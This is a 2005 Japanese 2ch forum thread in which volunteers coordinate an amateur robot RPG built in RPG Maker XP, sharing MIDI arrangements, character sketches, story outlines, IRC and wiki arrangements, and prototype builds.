465 :zk:2005/10/11(火) 14:07:36 ID:uGpvXgtU
作ってたのか・・・。

拙者もなにかせねばなぁ・・・。

466 :nana:2005/10/11(火) 14:08:10 ID:Ypu+gWB9
>>464
いやいや、大歓迎ですよ。
というかOPに関しては
「何も決まってないしどうなるか分からんけど、少なくとも歌の間
真っ暗ってワケには行かないんだから一応考えておくか」程度に考えて
コンテムービー的なものを作ってる段階です。
イメージをより明確にするために色なんか塗ってる部分もありますが。

良ければぜひ話し合いたいなぁ。こんどチャットでもどうですか?
#…というか、チャットにいない人はOPソングのロング版をお持ちで無いのでは?
ぜひ拝見したいです。はい。

467 :名前は開発中のものです。:2005/10/11(火) 15:12:47 ID:frwmLYQ5
JUN氏が依頼しているMIDIってどこにありますか?
SSWの練習をかねて編集してみようと思ったのですけど

468 :111:2005/10/11(火) 15:58:51 ID:8Z1LN2Rl
平日の昼間なのにレス早!!

OPアニメについてですが
FLSHでアニメ作りたい!と思っていて
いい設定と、いい曲があるからつくろうジャマイカ!
と、まぁ素人が試行錯誤するようなものなので
期待しないでくださいな

やはりOPロングもあったのか・・・
諸事情で22時までしか居られませんが、
機会があったらチャット覗きに行きますね
ぶっちゃけチャットよりIRCのが大好きです

469 :名前は開発中のものです。:2005/10/11(火) 19:52:58 ID:QQUPgQwd
RGSS100J.dllが見つかりません といわれてしまうのですがどうすれば

470 :nana:2005/10/11(火) 20:27:05 ID:Ypu+gWB9
>>467
まだ無いんじゃないでしょうか。
やってくれる人がいたらうpするのだと思います。

>>468
うちもとりあえずコンテに関してはFLASHです。
どっちかというとPV的なものなのかな? なんにせよ楽しみにしときます。
IRC入れてみました。つなぐ時は #robodama で

>>469
RTPという物が必要です
RTPが入ってるのに言われてしまうのだとすると、ちょっと僕には分かりません。
そうでない場合
ttp://www.enterbrain.co.jp/tkool/rtp_download.html
ここにあります。現在はバージョンが上がってますが恐らく互換性はあると思います。

471 :JUN:2005/10/11(火) 21:01:16 ID:9OscF3lT
おお...アニメの話が具体化していく...
作曲者にも一枚かませていただきたいです

>>466
OPはいちおう歌入れが終わって、現在リテイクとミキシングをしてる最中です。
1〜2週間以内に完成版を挙げられると思います。

>>467
ご協力ありがとうございます!
http://www.uploda.net/cgi/uploader1/index.php?dlpas_id=0000037341
pass[robo]
ぜひ宜しくお願いします。

472 :nana:2005/10/11(火) 22:45:27 ID:Ypu+gWB9
http://up.php-s.net/up.php?id=tabiji&time=1129036960&ext=.jpg
主人公似てNEEEEEEEEEEEE!
これはなんとなくまじめに描いたカットで

http://up.php-s.net/up.php?id=tabiji&time=1129036996&ext=.jpg
ほとんどはこんなん。

473 :名前は開発中のものです。:2005/10/11(火) 23:50:52 ID:gAYhLhOI
前衛的だ

474 :名前は開発中のものです。:2005/10/12(水) 03:38:09 ID:UmM9LPoi
もっとアニメ絵ぽいのが良いなあ

475 :467:2005/10/12(水) 15:12:40 ID:JoYkTLI0
>>471
おお、返信遅くなりましてすみません。
ファイル自体は昨日に落とさせていただきました。

476 :名前は開発中のものです。:2005/10/12(水) 15:14:58 ID:JoYkTLI0
MIDIファイルのファイル名とタイトル名が文字化けしていたのですけど、
中身自体は特別に問題はなさそうだったので
【戦火のあと】をMIDIで再現してみました。
ttp://www.uploda.net/cgi/uploader2/index.php?dlpas_id=0000005007

原曲重視で再現していますが、再生する際には
RPGツクールXPでインポートして再生しないとループされないほか、
ちょっと変な感じになると思います。

しかしMP3よりMIDI(ソフトシンセで再生)のほうがマシンパワーを消費するのか…。

477 :JUN:2005/10/12(水) 22:07:35 ID:CysqxGQM
>>476
仕事早っ!
GJ!

クイックタイムでしか聞いてないので何とも言えませんが、良い感じなのではないでしょうか。
ただ、最後のあたりのギターにものすごいヴィブラートがかかって聞こえます...これは仕様ですか?
ちょっと気になります

MIDIかMP3か、どっちが良いかは個人の環境にもよるでしょうし...
最終的に選択式にできたら良いですね。

>>nanaさん 111氏
OPの会議、いつやります?

478 :名前は開発中のものです。:2005/10/12(水) 22:29:33 ID:LEHnlkly
僕は今でもいいですが、>>111さんは厳しそうですね。

あとベさんにも来てもらわないと話になりません

479 :467:2005/10/13(木) 01:36:14 ID:70U5PiPV
>>477
確かにクイックタイムだと最後に限らず中盤からギターのビブラートが異常に掛かってますね。
試しにモジュレーション値などをかなり高い状態にしてあるので…。

ただ、クイックタイムのシンセサイザ以外に
YAMAHAの6年前くらいのなんだかよくわからない音源やSC-8820で再生しても
同じく効果が強く出すぎるのですが、RPGツクールXPが使うDirect Musicではそこまで強く反映されていないです。

もともとMP3があるものなので、その代用のMIDIの処理に負荷が掛かりすぎる場合には
細かいパラメータの設定は削ってしまったほうがいいかもしれないですね。

480 :111:2005/10/13(木) 21:20:20 ID:0qKOiRz2
10時までならほとんどいつでもいいっす〜
鯖irc.2ch.net チャンネル#robodamaでつよね?
IRCは家にいるときなら大体つけてるんで、
誰か現れて下さいなっ

481 :8 ◆jS1vbFJDVk :2005/10/14(金) 21:23:06 ID:neDXy4Us
>>462
midi対応とmp3対応の2通りのゲームデータを
用意すればいいんじゃないでしょうか。
特に難しい設定をする訳でもなし。
ゲーム内部で音源の切り替えをするとなると
また話は変わってきますけども。
>>476
乙です!しかしmacだと保存できない様子…
どなたかzip形式で再うpお願いしますスマソ

482 :名前は開発中のものです。:2005/10/14(金) 22:12:44 ID:R9Z3b9O5
>>481
ヒント:コントロールキー+クリック

483 :名前は開発中のものです。:2005/10/14(金) 23:59:08 ID:N6G3cQ3I
>>482
コントロールキー+クリックなら大丈夫なんですか?
macは触ったことがないのでさっぱりな話ですが…。

>>481
zip自体にパスをつけてはづきにあげてみました。
ttp://www.42ch.net/UploaderSmall/source/1129301436.zip
パスは全角で「ロボ」の2文字です。

落とした.zipを解凍すると2つのmidiファイルになります。
・戦火のあと
・失われた古代遺跡(切ない 改題)

「戦火のあと」は、上のレスにある「最後の部分がなんかやばいことに」の対策で
ループ直前の所だけ修正してます。
「失われた古代遺跡(切ない 改題)」はピアノの質感が原曲とえらい違いますが
ひとまず提出しておきます。フフーッ

ちょっとだけ家を空けることになったので、久々に2chのない生活をしてみる…。

484 :名前は開発中のものです。:2005/10/15(土) 00:04:10 ID:2YgfKxEO
ああ、>>476にダウンロード用のパスが書いてなかったのか…。
>>476のURLで飛んだページで入力するパスは「robo」です。

485 :8 ◆jS1vbFJDVk :2005/10/15(土) 00:47:19 ID:iHIuQ6Ua
>>482
control+クリックでも無理っぽいのですが。
>>483
ありがとうございます!そして遺跡GJ!
さっそく使わせていただきます。

486 :nana:2005/10/15(土) 04:44:46 ID:AMNsoRU7
IRC導入推奨。
>鯖irc.2ch.net チャンネル#robodama

>JUNさん
111さんがちょっと夜は無理そうなので、一度休日の昼間に集まりませんか?
今日明日の昼間とかどうでしょう?

>8さん
サンプルへのレス
文章カードはやっぱり見やすい大ウインドウでバーンと行きたいですね。
あとカードが一枚一枚アイテムとして存在すると正直鬱陶しくなる気がします。
所持カードの管理は…RGSSですかねぇ。

カードビュワーは1つの(RGSSの)シーンにしてしまうか、
RGSSが難しそうならばMAPを使った自作メニュー的な作りにしたらどうでしょうか

487 :JUN:2005/10/15(土) 05:03:21 ID:32RunDPw
>>483
GJGJGJGJ!!!
ナイス編曲です。
カスタネットとかドラとか、微妙な音も再現されててなかなか良いです!
ピアノは高いプラグインを使ってますんで、まあ仕方ないですね。
今後もたくさん曲書きますので、是非ご協力下さい!!

>>481
>midi対応とmp3対応の2通りのゲームデータを
>用意すればいいんじゃないでしょうか。
なるほど。 そうしていただけると嬉しいです。

>しかしmacだと保存できない様子…
URLcollecterなるフリーソフトを使えば簡単DLできますよ。

>>486
明日(日曜)の朝10時からどうでしょう?

ゲーム音楽板の新しいスレに顔出してるんで、遊びにきてください。

488 :nana:2005/10/15(土) 08:39:02 ID:AMNsoRU7
ttp://venus.aez.jp/uploda/index.php?dlpas_id=19457

誰か、この中身のmidiファイルを聞いてメロディに聞き覚えがあったら教えてください


>明日(日曜)の朝10時からどうでしょう?

その方向で(生活リズムを)努力します

489 :名前は開発中のものです。:2005/10/15(土) 18:53:02 ID:AMNsoRU7
>まとめサイトの残り容量がそろそろピンチ。

さくらに鯖借りました。
いろいろ分かってきたらうpろだとか設置します

490 :8 ◆jS1vbFJDVk :2005/10/16(日) 01:22:23 ID:01y3DklU
RGSS勉強しつつ、まだまだコモンイベントでいろいろやってます。
>>486
カードがズラーっと並んでるアレ、鬱陶しいですよね。
カード関連は最終的に別シーンで制御するつもりなのですが、
プロトタイプということで自作系でやってみます。
あと、IRC導入少し苦戦中。
>>487
>URLcollector
これはいいものだ!情報ありがとうございます。
>明日(日曜)の朝10時
残念、仕事です。
>>489
乙です。現状だとJUNさんの新曲がうpできないので
とても助かります。

491 :nanaxes:2005/10/16(日) 02:17:07 ID:5CEeghId
なんもないけど、ろだだけは稼動
ttp://emps.rash.jp/up/upload.html

webスペースの容量は1ギガ借りてます。
これでろぼだまが 100 MEGA SHOCK! なゲームになっても大丈夫だ!
でも100メガショックって100メガビット=12.5MBだからホントは最初から大丈夫だ!

492 :zk:2005/10/16(日) 13:28:43 ID:OoDtuEuZ
また描きました・・・。
前回よりはマシなはず。
ttp://zkv2.finito.fc2.com/rakugaki2.jpg
ロダを汚すのは良くないので自鯖に。

あっちこっち変なところありますがorz

493 :名前は開発中のものです。:2005/10/16(日) 14:43:59 ID:7qXOBWW1
>>492
なんか可愛いな。


494 :名前は開発中のものです。:2005/10/16(日) 20:57:07 ID:BIHIoMAg
低スペックなPCとフリーソウトだけでや

495 :nana:2005/10/17(月) 21:37:59 ID:++n0jJf6
ちょっとこれを見てくれ

キャラクター製作進捗表
ttp://emps.rash.jp/wiki/index.php?%A5%AD%A5%E3%A5%E9%A5%AF%A5%BF%A1%BC

キャラクターごとの項目って他に何が必要だと思う? 意見募集

496 :名前は開発中のものです。:2005/10/17(月) 21:50:42 ID:T2yzRqh4
ツクールXPで動画(.aviとか)が再生できるようになったらしいね
某スレに動画再生のサンプルがうpられてたよ。

497 :名前は開発中のものです。:2005/10/17(月) 21:59:40 ID:DHHQeybh
>>495
年齢と所属と簡単な説明とか?

498 :名前は開発中のものです。:2005/10/17(月) 22:22:03 ID:88wmnOgI
>>496

笹井庄司氏には朗報だな

499 :名前は開発中のものです。:2005/10/18(火) 00:23:44 ID:/jccHSsI
>>496
ママレードボーイ? 今後に期待

rgss movie play でぐぐると海外でチャレンジしてるのが結構見つかるんだがこれって動かないのかな?
いま環境がないから試せない。

>>497
そうか年齢はデザインにも関わるから重要だね

500 :8 ◆jS1vbFJDVk :2005/10/18(火) 23:16:23 ID:eTT+449O
500げt
>>491
GJ!ぼちぼちデータ移行していきます。乙でした。
>>492
おお、量産機っぽいラインですね。
対比がちょっと大きいかも?GJです!
>>495,497
進捗表GJ。親友の元デザインは
ttp://www.geocities.jp/robotrpg2ch/image/image8.jpg
この絵が一番近い気がしますけど、どうでしょう?
>>496
ツクールXPってすごいですね。
俺も早く使いこなせるようにならないと。

501 :8 ◆jS1vbFJDVk :2005/10/19(水) 22:29:35 ID:VKsC9zcS
>>491のうpろだ使って更新。
ttp://emps.rash.jp/up/src/up0004.zip
カードプレーヤーを使うと画像カードの閲覧ができます。
他のカードもプレーヤーで再生できるよう実装中。

502 :名前は開発中のものです。:2005/10/20(木) 05:32:08 ID:0AN5ZXFy
>>500
wikiに掲載しました。
http://emps.rash.jp/wiki/index.php?FrontPage
あれ? 画像カードが見られない…というより、メッセージだけで入手していないような?

これから開発サイドはwiki&ろだでまとめていきます。
安定性がどのくらいかよく分からないので各自担当パートの
ファイルはバックアップを持っておいてください。

#七人の聖者関連のログが見つからなかった…
#あの親友のグラが30歳くらいに見えるのは俺だけなのか

8さん、すいませんがジオにある総合トップからwikiにもリンクを張ってもらえますか?
それと画像掲示板のログがdじゃいましたが過去ファイルありますか…?

みんな、単純な画像BBSもあったほうがいい?

503 :nanaxes:2005/10/20(木) 05:50:42 ID:0AN5ZXFy
あら、名前入れたつもりだったんだが

PCは、メモリを送ってくれることになりました。
そろそろツクールをもう1パッケージ買おうかと思い始めてた

504 :8 ◆jS1vbFJDVk :2005/10/21(金) 01:51:55 ID:opLqDXun
>>502
まとめ乙です。
どの画像カードが見えないか教えてください。
更新分はアイテムじゃなくてスイッチでカード入手を
制御しているのですが、それが仇になったのかも。

wikiリンク了解しました。
画像うpろだは戦火のあとまでしか保存してませんでした…
zkさんnanaさん本当にすみません。

505 :名前は開発中のものです。:2005/10/21(金) 17:43:35 ID:9ulD7PqZ
>>504
ドリル野郎が見られません。
入手したはずのセーブデータをうpしてみました。
http://emps.rash.jp/up/src/up0005.lzh

wikiのリンクの貼り方間違ってター
今までクリックしても落ちなかったはず…すまん

506 :( ´∀`) ◆9mfk.Z6Wmc :2005/10/21(金) 19:44:12 ID:/3hECXjx
78番くらいまでなら画像持ってます。

507 :いつかの190:2005/10/21(金) 21:19:03 ID:qb0Wj7Kv
昔描いた主人公の親友の線画に色を塗ってみました。
髪型や帽子等、若干ドットと違う部分もありますけども…
http://up.php-s.net/up.php?id=tabiji&time=1129895470&ext=.jpg
ドットを描いた当時のイメージはこんな感じでした。

508 :JUN:2005/10/21(金) 23:22:40 ID:FmJLx3hi
>>507
アヒョーーーーー!!!
すばらしい!ジブリ作品みたいです!
イベントシーンに、こういう立ち絵が入っても格好良いかも
GJ!

なんだか色々忙しくて、ろぼだまを放ったらかしにしてしまいましたorz
nanaさんごめんなさい

509 :8 ◆jS1vbFJDVk :2005/10/22(土) 02:56:47 ID:jzPMjqcF
デバッグ完了&音楽カードもプレーヤーでどうぞ。
マップに戻ると音楽が切れてしまうのは仕様です。ちくしょう。
ttp://emps.rash.jp/up/src/up0006.zip
これで大丈夫なはず…ですが、まだ何かあったら報告よろ。
感想もお願い。

>>505
原因は入手スイッチ認識の仕組みでした。
修正しましたが、どんなもんでしょ。
>>507
好青年GJ!!
>>508
ドンマイ。

画像うpろだに画像があがってたので天才。
ttp://up.php-s.net/up.php?id=tabiji&time=1129916647&ext=.JPG
これはいい機動戦士ですね。

510 :nanaxes:2005/10/22(土) 08:19:13 ID:ly1tBT68
前にアニメみたいに1話1話区切ってやろうって話があったけど
夢オチで1話やろうか。機動戦士みたいなのとか本筋ではさすがにやれないネタとか全部出す。
まあそんな余裕があればの話ですが。

>>507
あーーーなるほどー、そういうことか!
僕の目にはメガネをかけたソリッドスネークみたいに映ってました
明らかに目の方がおかしいです。
本当にありがとうございました。

>>508
アヒョーってアンタw

>>509
OK、ばっちりです


・カードプレーヤー使うと敵シンボルの位置が初期化されるのをどうするか(どうせRGSSでやるからおいとく?)
・前から思っていたのですが歩くのが遅すぎると思います
・なんか起動に意外と時間かかりますねぇ…これで自作スクリプトで定義するゲームオブジェクトが
増えてきたらさらに重くなっちゃうのかな?

511 :zk:2005/10/22(土) 09:38:57 ID:jgglpTwO
拙者もダッシュの速度をもう少し上げて欲しいと思いまふ。


で、まだ落書きの需要はありますか?(無いですよね・・・。
あったらうpします。

512 :名前は開発中のものです。:2005/10/22(土) 09:52:43 ID:W0g12DZ+
>>511
ネタは出し惜しみしたらあかん!どんどん投下だ!

機動戦士、異世界のロボっていうのはどうだろう
主人公と共闘して、最後はもとの世界に帰ってく。
あれは夢だったのか...?と思ってロボを見ると、機動戦士との戦いでついた傷が一筋。エンド。

JUN氏ガンガレ
新作待ってまつ
音スレのほうのも待ってまつ

513 :名前は開発中のものです。:2005/10/22(土) 13:54:24 ID:+nHcKOio
見学に来ますた
戦闘がプレイヤーとして「面白い!」です
(操作感が馴染みやすいガングリフォンな感じなのは狙ってます?)
草葉の陰から応援してます▽ ̄)ノ

514 :名前は開発中のものです。:2005/10/22(土) 17:13:38 ID:SKiWne1a
【なにこの神スレ】
【数々のツクールスレの中で神だと思った】

515 :名前は開発中のものです。:2005/10/22(土) 19:32:38 ID:Sb4huH8n
なんだこのスレ
期待はずれもいいとこだな
でもまあもう少し様子を見るか

516 :8 ◆jS1vbFJDVk :2005/10/23(日) 02:20:35 ID:/apNJ1jR
まとめサイト更新。総合トップはタグでいじるとやばそうなので
クリエイターズサイドトップにwikiへのリンクをはりました。
ついでにうpろだ利用してBGM追加。データ整理で容量も一安心。

そして大変な事実が判明。190さんのイラスト2点
(情報屋3姉妹とジラルダ)の保存を忘れていました。
本当にすみません…

>>510
夢オチで1エピソード、やりたいですね。
メインはもちろん機動戦士で。
>>511
どんどんお願いします!
歩行速度はまた変更してみますので。
>>512
>あれは夢だったのか...?と思ってロボを見ると、機動戦士との戦いでついた傷が一筋。
このオチがナイス。

517 :名前は開発中のものです。:2005/10/23(日) 04:12:49 ID:UROVrDYb
寝ぼけてロボで破壊活動やってただけだったりして

518 :名前は開発中のものです。:2005/10/23(日) 14:02:22 ID:qnCLxb/h
名前は50音順にムリヤリにでもひねり出す
キーボードをガチャガチャやって閃きを得る
意図的に「ラ行」を抜かす
なんかがいいよ

519 :zk:2005/10/23(日) 14:49:47 ID:/rAw/JDD
でぃあじ

やってみますた

520 :名前は開発中のものです。:2005/10/23(日) 14:59:42 ID:xp+Xbrz5
かふとす
ぐろいっとえ
ごいうす
をいうう
ごいぜっでのあ
ねこんてこ
ねこ

521 :いつかの190:2005/10/24(月) 03:17:44 ID:Tcs/5brp
>>8
もし必要でしたら再アップ致しますが…どうしましょう<情報屋&ジラルダ

522 :名前は開発中のものです。:2005/10/24(月) 12:05:36 ID:L9BFeMdX
>>519-520
ディアジ
カフトス
グロイット
ゴイウス
イゼッデ
ネコ

良い感じジャン!!

523 :8 ◆jS1vbFJDVk :2005/10/24(月) 23:22:49 ID:keQ53avc
>>518-520
縦読みすると違う名前が出てきますね。
カグゴヲゴネネ
フロイイイココ
トイウウゼン
スッスウッテ

デカグゴイネ
イフロイゼコ
アトイウッ
ジスッスデ

使えるかどうかは別にして。

>>521
すみません、お願いします。

524 :名前は開発中のものです。:2005/10/25(火) 01:01:13 ID:7rWLv28N
「ホームタウン」のMIDI化をしました。
ttp://www.uploda.net/cgi/uploader2/index.php?dlpas_id=0000005476
ダウン用パスはroboです。

どうもパートごとの音量のバランスがおかしいのと音色が原曲と違いすぎる部分があるのですが、
遅くなってしまったので微調整に時間をかけるよりは先に上げておきます。

ここのロダだと落とせない場合があるんでしたっけ…?

525 :8 ◆jS1vbFJDVk :2005/10/25(火) 02:09:00 ID:PNdoEJJ+
>>524
ありがとうございます。GJ!
問題なく落とせるようになりましたので、ご心配なく。

526 :いつかの190:2005/10/25(火) 03:07:52 ID:ug//iz+0
>>8
画像ロダにUPしておきました。

527 :名前は開発中のものです。:2005/10/25(火) 10:29:28 ID:TGStnIa6
>>524
あ この曲すごく良い...
原曲ってことは、モトネタとかあるんでしょうか?
GJ!

528 :nanaxes:2005/10/25(火) 23:12:38 ID:WF3lVA8S
なんかチャットで話すことある?
別にない?

ストーリーなんですが、以前出た「戦艦で海から攻めるぞ自然国」をベースに

・膨大な鉱物資源のために帝国の干渉を受け翻弄されたA国 (中立か宗教のいずれか。)
・それに根ざした帝国へのテロ集団、七人の聖者の出現(これは過去の話です)
・古代文明の遺産を探す帝国と宗教国の争い
・七人の聖者の一人が、巻き込んでしまったテロ被害者の孤児を保護していた。
 (主人公らの孤児院のスポンサーが七人の聖者の一人)
・主人公達の地上げエピソードでの「あんちゃん」が失踪
・自然国の帝国への最後の反抗作戦
・それを助けると見せながら遺産を獲得しようとするラスボスAさん(36歳)
 (帝国側の遺産探しの命を受けた人物であったが離反し、
 自然国には主人公の島を中継地点と言っているが、実は最終目標の遺産がそこにある)
・最終的に遺産は主人公の故郷にあった。A国のような末路になってしまうのか?

……などの要素が相互に絡み合うような感じに考えています。 (ゴメンこのレスだけじゃわけが解らんと思う。そのうちまとめます。)
七人の聖者とか遺産とか一応拾ったつもり。

>>401さんは執筆中ということでいいのかな?


自分の予定メモ
・主題歌インスト版待ち
・PCの代替部品待ち(エクセルジャパン頑張れもっと頑張れ)
・ストーリーねるねるねるね

529 :8 ◆jS1vbFJDVk :2005/10/27(木) 22:13:11 ID:eltS95BM
遅れレスですが。
>>526
ありがとうございます!
さっそく使わせていただきます。
>>527
mp3もどうぞ。一応こっちが原曲になります。
ttp://emps.rash.jp/up/src/up0007.mp3
>>528
チャット今からでも大丈夫ですか?

A国は一つの国ではなく宗教国と中立国の両方にして、
帝国への抵抗と復興の相互援助のために
2国で同盟を組んでいるというのはどうでしょう?

あとは最終決戦前夜、島に帰った親友が
遺産の一部をロボに組み込んで最終決戦仕様に…とか。

530 :名前は開発中のものです。:2005/10/27(木) 22:17:55 ID:QRJTaOJz
チャット中

誰でもどうぞ

531 :8 ◆jS1vbFJDVk :2005/10/28(金) 00:44:33 ID:7mcIlSLK
過疎につき浮上。まだチャット中。

532 :ドリームリーダー763:2005/10/28(金) 12:40:06 ID:E5xb5grB
ttp://emps.rash.jp/up/src/up0020.zip
長らくほっぽっててごめんなさい

533 :8 ◆jS1vbFJDVk :2005/10/29(土) 01:41:21 ID:wGvKLpzY
>>532
乙です。消耗品はまだ使えないんでしょうか?

現在、ツクール上で同じように動かせるか試行錯誤中…
スクリプトいじらないでどこまでできるかのテストでもあるので、
完成は期待しないでください。

534 :zk:2005/10/30(日) 14:38:33 ID:vyrVSa9u
過疎気味なんで落書きうp

射撃メイン
http://zkv2.finito.fc2.com/rakugaki3.jpg
水陸両用か?
http://zkv2.finito.fc2.com/rakugaki4.jpg
注:左右の腕の形が違うのは仕様です。そういうことにしてくださいお願いしますマジで

全然上手くかけないorz

535 :zk:2005/10/30(日) 14:46:18 ID:vyrVSa9u
うpできなかったorz

上:http://zkv2.finito.fc2.com/rakugaki3.jpeg
下:http://zkv2.finito.fc2.com/rakugaki4.jpeg



536 :8 ◆jS1vbFJDVk :2005/10/31(月) 00:10:48 ID:yHgLeDCN
>>534-535
GJ!俺は上のほうが好み。

537 :8 ◆jS1vbFJDVk :2005/11/01(火) 01:23:58 ID:qwpOuE7q
スクリプト借りて更新さらにスレをageてみる。
ttp://emps.rash.jp/up/src/up0021.zip
キャラクター画像をたぶん全てカード化、
音楽カードをリストで表示できるようにしました。
まだまだ仕様変更してゆきますが、
バグがあったら報告お願いします。

538 :zk ◆PPcELrLkWg :2005/11/01(火) 22:02:02 ID:B0Y9vqjh
超GJ!

過疎化が深刻だね・・・村おこしが必要かな

539 :JUN:2005/11/01(火) 22:41:06 ID:vS2a9Be/
いそがしすぎてしにそうだ

>>537
乙ですー
コンスタントに仕事をする8さんだけが、このスレの決潰を防いでますね

>>538
自分も過疎化はいかんと思って頻繁なレスと呼び込みをした時期があったのですが
毎日書き込み、ネタ集め、スレのまとめ等をする体力が無くて挫折してしまいました...

今人を呼んでも、一月前の繰り返しになってしまうと思います
ムービーも作成中のようですし、システム面も出来つつありますし...
村おこしは良いことと思いますが、もう少し企画が出来上がってからでも良いのでは。

>>534
おー
ネタ出し乙です

>>nanaさん
ほんとごめんなさい
もう少しだけ待ってください
すいません

540 :名前は開発中のものです。:2005/11/01(火) 23:30:37 ID:U9Mdm9Xe
ttp://hisazin-up.dyndns.org/up/src/7535.wmv
主人公はぬこだい好きだったな

541 :8 ◆jS1vbFJDVk :2005/11/02(水) 01:05:08 ID:LiG7EKGx
行きつけの中古ゲーム屋が閉店半額セールやってたので64購入。
で、同時購入したソフトがスパロボ64とカスタムロボだった俺は
これからどうやって生きてゆけばよいのでしょうか。そんな11月。

>>538
もう少し様子見で。俺も現段階のプロトタイプで
どかーんと何かする気にはならんのですよ。やるんなら、
のぞき見さんくらいにオープニングシナリオを作っておきたい。
>>539
乙です。そして死なないで。
>>540
どう見てもねこだいすきです。
本当にありがとうございました

542 :nanaxes:2005/11/02(水) 04:53:28 ID:Id7QvU2W
日記
・DS購入
・デルはメモリ2枚送るのにどんだけかけますか。まじテンション下がるっちゅーねん

>ムービー

すいません、あれから進んでません。
その代わりシナリオはちょっと進んだかも

アニメーターできる人いますか?
秒間20枚の地獄が君を待っている!

画像貼る人、画像掲示板は結構頻繁にあぼんするからうpろだオススメ
wikiに勝手にページ作って貼っちゃっても全然かまわないよ

543 :zk ◆PPcELrLkWg :2005/11/02(水) 20:55:06 ID:GONX/EtZ
貼ろうか・・・・・・と一瞬思ったが身の程をわきまえますた

544 :8 ◆jS1vbFJDVk :2005/11/02(水) 22:08:33 ID:H94UWHI9
違法改造はいけないと思います。ホムラガンとかスバルガンとか。

>>542
秒間20枚ってディズニー並みのクオリティですやん。
もう少し減らしてもいいと思います、さすがに。

シナリオ冒頭うpできますか?
実装したら起爆剤になるかもしれませんし。
>>543
遠慮せずどうぞ。

545 :名前は開発中のものです。:2005/11/02(水) 22:20:31 ID:+2mM8FN9
秒間16枚がガチかと。。

こちかめは16枚/秒らしい。

546 :nanaxes:2005/11/03(木) 00:29:32 ID:CV2knpNn
>zk
いや、だから貼っていいんですって(笑)

>8さん
シナリオっていうのは、
台詞とト書きレベルまで僕がやる感じなんでしょうか

>フレームレート
そういえば、20枚というのはパラパラアニメ策を視野に入れての話でした。(本体のfpsに合わせる)
普通に外部ファイルなら何枚でもいいんですね。

今、ストーリーのうまい滑り出しで詰まってます(早すぎ)
・ロボットに乗るまではGAMEではない。→なるべく手短に済ませたい
・そのロボットは親友が持っている。
・最終的に島を守るために戦う以上、どこかで島へ感情移入させる場面は絶対に必要。→島を出るところから描くのは必要


あと親友の本土での具体的な現状や、何故旅に出られる・出るのかと言う理由もサッパリ決まってない…ネタ出し希望

547 :nanaxes:2005/11/03(木) 00:31:04 ID:CV2knpNn
敬称抜けスマソ

とりあえず、チャットで話し合われている部分だけでも
他の方も見れるようにwiki化するところからやっていきます

548 :8 ◆jS1vbFJDVk :2005/11/03(木) 01:14:46 ID:s7jMQz5z
>>546
>シナリオ
簡単な流れだけでもわかれば、こっちでセリフとか演出とか
それらしいのをこさえます。nanaxesさんが悩んでいる
流れの部分ができたら俺の方も実装に移ろうかなと。

549 :zk ◆PPcELrLkWg :2005/11/03(木) 15:13:45 ID:uPhFkVQE
ホムラガンイクナイ

ロボットに乗るのはうっかり乗ってしまったネタが一番楽なんすけどね・・・。

550 :名前は開発中のものです。:2005/11/03(木) 16:27:22 ID:SgqFhJ3h
久しぶりにサイトみたら派手に更新されててビックリ(;゚Д゚)
乙です

ちなみに今のアニメは、動画は8コマ/秒、アクションシーンで12か16か24(=神作画)コマ

551 :zk ◆PPcELrLkWg :2005/11/03(木) 22:36:13 ID:uPhFkVQE
あ、ロウガガン連発もイクナイ

8コマでもたいして気にならないから8コマでもどうにかなると思いますよ。

552 :8 ◆jS1vbFJDVk :2005/11/03(木) 22:39:03 ID:s7jMQz5z
カード追加&リスト作成中。

チャットにいるので、気軽にどうぞ。

553 :111:2005/11/05(土) 16:18:06 ID:I2anm27w
>>537
文章カード
メッセージウィンドゥより大きな画面のがいいかな
スクロールか前のページが見れたりすると便利だと思う
あと読み終わったあとフィールドに戻らずアイテム画面の方がいいかも

どうみても静止です。
本当にありがとうございました

554 :8 ◆jS1vbFJDVk :2005/11/05(土) 23:14:06 ID:F2GCeOfn
テキストカード関連をいじくろうとしてたらナイスタイミング。
>>553
やっぱり大きいウインドウのがいいですよね。
その他も、どう見てもナイスな指摘です。
本当にありがとうございました。

555 :名前は開発中のものです。:2005/11/05(土) 23:23:17 ID:4Yx/zaZm
何でこのスレ精子が流行ってんのw

556 :zk ◆PPcELrLkWg :2005/11/06(日) 20:01:57 ID:n54OhwDl
このスレに限らないけどねw

557 :名前は開発中のものです。:2005/11/06(日) 23:32:53 ID:3SAoFehg
それにしてもひどいスレだ
いつまでこんなおままごとをやってるつもりなの君たち

558 :JUN:2005/11/07(月) 00:22:15 ID:85677dkk
黙れ それとままごとってのは子供がおもちゃを用いて、炊事や食事など家庭生活のまねをする遊びのことだ。

喩が下手な厨房、または低学歴の相手をしているほど暇じゃないんだよ

559 :名前は開発中のものです。:2005/11/07(月) 01:02:43 ID:xL67as6D
自演&騙りGJ!……じゃなかった乙

560 :8 ◆jS1vbFJDVk :2005/11/07(月) 01:14:15 ID:Ztf2dyor
明日更新予定。
>>555-556
本当にありがとうございましたって言葉を使いたかった。
今も感謝している。

>JUN
そのへんで。

561 :JUN ◆ylCNb/NVSE :2005/11/08(火) 00:33:18 ID:wd9Mzzt/
おひさしぶりです。作業がちっとも進みません。ごめんなさい。
ネタ投下しまつ

【悲しい感じ】
http://www.yonosuke.net/dtm/5/13013.mp3

562 :名前は開発中のものです。:2005/11/08(火) 00:36:59 ID:qvd6Nhwx
を、いい曲。だけど悲しいというより優しい感じかな、これは。

563 :名前は開発中のものです。:2005/11/08(火) 00:38:22 ID:VLhzCgw4
それにしてもひどいスレだ
いつまでこんなおままごとをやってるつもりなの君たち

564 :名前は開発中のものです。:2005/11/08(火) 00:59:06 ID:ZojXViQd
>>561
哀しいというより落ち着いた感じの希ガス

565 :名前は開発中のものです。:2005/11/08(火) 01:09:02 ID:RsMgHidQ
どちらかというとむしろ明るい

566 :8 ◆jS1vbFJDVk :2005/11/08(火) 03:24:17 ID:tsmFjdmK
更新。思ったより作業進んでなくてスマソ
ttp://emps.rash.jp/up/src/up0022.zip
音楽流しっぱなし機能を実装。実際には途中で途切れますが。

>>561
いつも乙です。ちょうどいいタイミングだったので
さっそく使わせてもらいました。
悲しいというより、穏やかな感じの曲ですね。

567 :JUN ◆ylCNb/NVSE :2005/11/08(火) 09:55:39 ID:cwbEv3Nj
コメントありがとうございます
とても励みになります

>>561 確かに全然悲しくないですね。メニュー画面とかに使えそう?

にぎやかしに投下
【夜】
http://www.yonosuke.net/dtm/5/13020.mp3

568 :名前は開発中のものです。:2005/11/08(火) 11:31:47 ID:qvd6Nhwx
赤い月の見える月夜って感じ(どんなや

569 :名前は開発中のものです。:2005/11/08(火) 21:30:00 ID:I9L7cpE0
>>567
